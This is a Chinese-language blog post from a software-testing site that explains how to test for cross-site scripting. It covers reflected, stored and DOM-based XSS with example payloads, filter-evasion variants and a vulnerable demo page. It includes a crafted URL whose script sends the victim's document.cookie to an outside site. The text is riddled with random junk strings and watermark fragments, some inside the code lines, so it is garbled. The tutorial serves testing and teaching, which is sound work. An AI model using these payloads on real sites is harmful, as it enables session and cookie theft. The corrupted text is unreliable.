安全测试-跨站脚本攻击(xss)

上一篇 / 下一篇  2014-07-21 20:32:12 / 个人分类:安全测试

跨站脚本简称XSS(cross sites script),是web安全里比较重要也比较普遍的一种安全漏洞。跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。

1NKl6v }z*tJ7}0

 

7~ K/|D%A#L}&jPn:b0

最常见的测试跨站脚本的方法,输入51Testing软件测试网]/c'Z5oT:n7[

<Script>alert(1)</script>51Testing软件测试网c n UR/B q%|

以及它的各种变体51Testing软件测试网3J Jd;mT O

<script>alert(1) </script>实体51Testing软件测试网_.?7fk)LU0Qr*M

%3Cscript%3Ealert(1)%3C/script%3E  URL编码

eq]V|0

<scr<script>ipt>alert(1)<scr<script>ipt>

a:pn s7o5L~0

<script x=1>alert(1)</script x=1> 还可以这样写51Testing软件测试网Ow'Ia^u4Yw r

或者<script>confirm(1)</script>51Testing软件测试网!j nW b-~o;y

<javascript.:alert(1)>;等51Testing软件测试网*?Ph-K*~zcP

如果提交后,页面弹出警告框,则该页面存在xss漏洞

P9I6nd'qD%A-J0

*反射型xss

t'O8yH$TlJe0

通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果51Testing软件测试网&N&YiTSr

如:一段代码

|4u/T3Ae,wYT8| P0

<html><body>51Testing软件测试网&^!tq4K0z|#S/y$j

<script>51Testing软件测试网;[/L|9v"MO*XI

document.write(location.search);</script>//location.search返回url?开始的部分

Js:t9I8W;k'C },?#H*z0

</body></html>51Testing软件测试网+\T R(K"QxmZ

当输入以下url

$Mm\ Z"i%W'K(E!O0k0

"http51Testing软件测试网,z!{__;mq&Q

://127.0.0.1/attrck.html?search=222"

]'QV'F3^6Q/I \A0

页面将显示:?search=222 ;但url中如果输入

t2wJZ BF&u*j m)w0

/?search=<Script>alert(1)</script>

jMomi hh0

则页面的实际代码为:51Testing软件测试网8x,_$t*S+f0S@

document.write(?search=)<Script>alert(1)</script>;51Testing软件测试网6j6V-jdi

将弹出警告框,即代码<Script>alert(1)</script>被执行了,而并非页面原来显示?后字符串的效果51Testing软件测试网C?+i6tw(?6XjVB]f

 

H*T^,Z3b-JB d0

可以使用伪造后的url获取用户cookie51Testing软件测试网nY;WA}8F ^

如,在示例1中加入document.cookie=("name=123");,设置cookie,然后构造url如下,实现将localhost域的cookie传递到百度并进行搜索51Testing软件测试网7K/z's z,]J#M

http:

JK?1}Yhw!DN0

//127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>51Testing软件测试网;NE-jBY(m'V

因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域

__dP|&LM-u__T0

 

Vpc6lk5j@@)I+~0

*保存型xss51Testing软件测试网x| qaD V

是指将恶意代码保存到服务器,比如发布一篇文章包含恶意代码,其他用户浏览时将执行恶意脚本51Testing软件测试网jE:o8X/JX/rL

*基于dom的xss51Testing软件测试网+x+vWI*kX~%J

严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss51Testing软件测试网Z4__Ko*g

查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。

Q w kC~4P0

 

T Q6{.?yWeyH0

 51Testing软件测试网0\2r,u XF nX

 

J0_)OO8@ w0

TAG:

51Testing小编的个人空间 引用 删除 zaza9084   /   2014-07-22 10:39:25
您好,我是51Testing软件测试网的编辑,您的本篇博文近日将被推荐至51Testing软件测试网首页发表~
感谢您关注并支持51Testing博客,期待您更多的优秀原创博文。
 

评分:0

我来说两句

Open Toolbar